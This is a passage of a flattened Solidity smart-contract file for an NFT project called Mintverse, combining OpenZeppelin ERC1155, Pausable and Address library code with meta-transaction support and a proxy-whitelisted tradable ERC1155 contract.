regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: node_modules\@openzeppelin\contracts\utils\introspection\ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin\contracts\token\ERC1155\ERC1155.sol pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin\contracts\security\Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: contracts\common\meta-transactions\ContentMixin.sol pragma solidity 0.8.4; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // File: contracts\common\meta-transactions\Initializable.sol pragma solidity 0.8.4; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: contracts\common\meta-transactions\EIP712Base.sol pragma solidity 0.8.4; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: contracts\common\meta-transactions\NativeMetaTransaction.sol pragma solidity 0.8.4; contract NativeMetaTransaction is EIP712Base { bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) external payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] += 1; emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File: contracts\ERC1155Tradable.sol pragma solidity 0.8.4; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC1155Tradable * ERC1155Tradable - ERC1155 contract that whitelists an operator address, has create and mint functionality, and supports useful standards from OpenZeppelin, like exists(), name(), symbol(), and totalSupply() */ contract ERC1155Tradable is ContextMixin, ERC1155, NativeMetaTransaction, Ownable, Pausable { using Address for address; // Proxy registry address address public proxyRegistryAddress; // Contract name string public name; // Contract symbol string public symbol; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private balances; mapping(uint256 => uint256) private _supply; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC1155("") { name = _name; symbol = _symbol; proxyRegistryAddress = _proxyRegistryAddress; _initializeEIP712(name); } /** * @dev Throws if called by any account other than the owner or their proxy */ modifier onlyOwnerOrProxy() { require( _isOwnerOrProxy(_msgSender()), "ERC1155Tradable#onlyOwner: CALLER_IS_NOT_OWNER" ); _; } /** * @dev Throws if called by any account other than _from or their proxy */ modifier onlyApproved(address _from) { require( _from == _msgSender() || isApprovedForAll(_from, _msgSender()), "ERC1155Tradable#onlyApproved: CALLER_NOT_ALLOWED" ); _; } function _isOwnerOrProxy(address _address) internal view returns (bool) { return owner() == _address || _isProxyForUser(owner(), _address); } function pause() external onlyOwnerOrProxy { _pause(); } function unpause() external onlyOwnerOrProxy { _unpause(); } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require( account != address(0), "ERC1155: balance query for the zero address" ); return balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require( accounts.length == ids.length, "ERC1155: accounts and ids length mismatch" ); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev Returns the total quantity for a token ID * @param _id uint256 ID of the token to query * @return amount of token in existence */ function totalSupply(uint256 _id) public view returns (uint256) { return _supply[_id]; } /** * Override isApprovedForAll to whitelist user's Mintverse proxy accounts to enable gas-free listings. */ function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) { // Whitelist Mintverse proxy contracts for easy trading. if (_isProxyForUser(_owner, _operator)) { return true; } return super.isApprovedForAll(_owner, _operator); } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override whenNotPaused onlyApproved(from) { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, from, to, asSingletonArray(id), asSingletonArray(amount), data ); uint256 fromBalance = balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); balances[id][from] = fromBalance - amount; balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override whenNotPaused onlyApproved(from) { require( ids.length == amounts.length, "ERC1155: IDS_AMOUNTS_LENGTH_MISMATCH" ); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); balances[id][from] = fromBalance - amount; balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); doSafeBatchTransferAcceptanceCheck( operator, from, to, ids, amounts, data ); } /** * @dev Hook to be called right before minting * @param _id Token ID to mint * @param _quantity Amount of tokens to mint */ function _beforeMint(uint256 _id, uint256 _quantity) internal virtual {} /** * @dev Mints some amount of tokens to an address * @param _to Address of the future owner of the token * @param _id Token ID to mint * @param _quantity Amount of tokens to mint * @param _data Data to pass if receiver is contract */ function mint( address _to, uint256 _id, uint256 _quantity, bytes memory _data ) public virtual onlyOwnerOrProxy { _mint(_to, _id, _quantity, _data); } /** * @dev Mint tokens for each id in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _quantities Array of amounts of tokens to mint per id * @param _data Data to pass if receiver is contract */ function batchMint( address _to, uint256[] memory _ids, uint256[] memory _quantities, bytes memory _data ) public virtual onlyOwnerOrProxy { _batchMint(_to, _ids, _quantities, _data); } /** * @dev Burns amount of a given token id * @param _from The address to burn tokens from * @param _id Token ID to burn * @param _quantity Amount to burn */ function burn( address _from, uint256 _id, uint256 _quantity ) public virtual onlyApproved(_from) { _burn(_from, _id, _quantity); } /** * @dev Burns tokens for each id in _ids * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _quantities Array of the amount to be burned */ function batchBurn( address _from, uint256[] memory _ids, uint256[] memory _quantities ) public virtual onlyApproved(_from) { _burnBatch(_from, _ids, _quantities); } /** * @dev Returns whether the specified token is minted * @param _id uint256 ID of the token to query the existence of * @return bool whether the token exists */ function exists(uint256 _id) public view returns (bool) { return _supply[_id] > 0; } // Overrides ERC1155 _mint to allow changing birth events to creator transfers, // and to set _supply function _mint( address _to, uint256 _id, uint256 _amount, bytes memory _data ) internal virtual override whenNotPaused { address operator = _msgSender(); _beforeTokenTransfer( operator, address(0), _to, asSingletonArray(_id), asSingletonArray(_amount), _data ); _beforeMint(_id, _amount); // Add _amount balances[_id][_to] += _amount; _supply[_id] += _amount; // Origin of token will be the _from parameter address origin = _origin(_id); // Emit event emit TransferSingle(operator, origin, _to, _id, _amount); // Calling onReceive method if recipient is contract doSafeTransferAcceptanceCheck( operator, origin, _to, _id, _amount, _data ); } // Overrides ERC1155MintBurn to change the batch birth events to creator transfers, and to set _supply function _batchMint( address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data ) internal virtual whenNotPaused { require( _ids.length == _amounts.length, "ERC1155Tradable#batchMint: INVALID_ARRAYS_LENGTH" ); // Number of mints to execute uint256 nMint = _ids.length; // Origin of tokens will be the _from parameter address origin = _origin(_ids[0]); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), _to, _ids, _amounts, _data); // Executing all minting for (uint256 i = 0; i < nMint; i++) { // Update storage balance uint256 id = _ids[i]; uint256 amount = _amounts[i]; _beforeMint(id, amount); require( _origin(id) == origin, "ERC1155Tradable#batchMint: MULTIPLE_ORIGINS_NOT_ALLOWED" ); balances[id][_to] += amount; _supply[id] += amount; } // Emit batch mint event emit TransferBatch(operator, origin, _to, _ids, _amounts); // Calling onReceive method if recipient is contract doSafeBatchTransferAcceptanceCheck( operator, origin, _to, _ids, _amounts, _data ); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal override whenNotPaused { require(account != address(0), "ERC1155#_burn: BURN_FROM_ZERO_ADDRESS"); require(amount > 0, "ERC1155#_burn: AMOUNT_LESS_THAN_ONE"); address operator = _msgSender(); _beforeTokenTransfer( operator, account, address(0), asSingletonArray(id), asSingletonArray(amount), "" ); uint256 accountBalance = balances[id][account]; require( accountBalance >= amount, "ERC1155#_burn: AMOUNT_EXCEEDS_BALANCE" ); balances[id][account] = accountBalance - amount; _supply[id] -= amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal override whenNotPaused { require(account != address(0), "ERC1155: BURN_FROM_ZERO_ADDRESS"); require( ids.length == amounts.length, "ERC1155: IDS_AMOUNTS_LENGTH_MISMATCH" ); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = balances[id][account]; require( accountBalance >= amount, "ERC1155#_burnBatch: AMOUNT_EXCEEDS_BALANCE" ); balances[id][account] = accountBalance - amount; _supply[id] -= amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } // Override this to change birth events' _from address function _origin( uint256 /* _id */ ) internal view virtual returns (address) { return address(0); } // PROXY HELPER METHODS function _isProxyForUser(address _user, address _address) internal view virtual returns (bool) { if (!proxyRegistryAddress.isContract()) { return false; } ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); return address(proxyRegistry.proxies(_user)) == _address; } // Copied from OpenZeppelin // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c3ae4790c71b7f53cc8fff743536dcb7031fed74/contracts/token/ERC1155/ERC1155.sol#L394 function doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received( operator, from, id, amount, data ) returns (bytes4 response) { if ( response != IERC1155Receiver(to).onERC1155Received.selector ) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } // Copied from OpenZeppelin // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c3ae4790c71b7f53cc8fff743536dcb7031fed74/contracts/token/ERC1155/ERC1155.sol#L417 function doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived( operator, from, ids, amounts, data ) returns (bytes4 response) { if ( response != IERC1155Receiver(to).onERC1155BatchReceived.selector ) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } // Copied from OpenZeppelin // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c3ae4790c71b7f53cc8fff743536dcb7031fed74/contracts/token/ERC1155/ERC1155.sol#L440 function asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by Mintverse. */ function _msgSender() internal view override returns (address sender) { return ContextMixin.msgSender(); } } // File: contracts\MintverseNFT.sol pragma solidity 0.8.4; /** * @title MintverseNFT * MintverseNFT - A contract for easily creating non-fungible assets on Mintverse. */ contract MintverseNFT is ERC1155Tradable { event PermanentURI(string _value, uint256 indexed _id); uint256 constant TOKEN_SUPPLY_CAP = 1; string public templateURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURI; // Mapping for whether a token URI is set permanently mapping(uint256 => bool) private _isPermanentURI; modifier onlyTokenAmountOwned( address _from, uint256 _id, uint256 _quantity ) { require( _ownsTokenAmount(_from, _id, _quantity), "MintverseNFT#onlyTokenAmountOwned: ONLY_TOKEN_AMOUNT_OWNED_ALLOWED" ); _; } /** * @dev Require the URI to be impermanent */ modifier onlyImpermanentURI(uint256 id) { require( !isPermanentURI(id), "MintverseNFT#onlyImpermanentURI: URI_CANNOT_BE_CHANGED" ); _; } constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress, string memory _templateURI ) ERC1155Tradable(_name, _symbol, _proxyRegistryAddress) { if (bytes(_templateURI).length > 0) { setTemplateURI(_templateURI); } } function mintverseVersion() public pure returns (string memory) { return 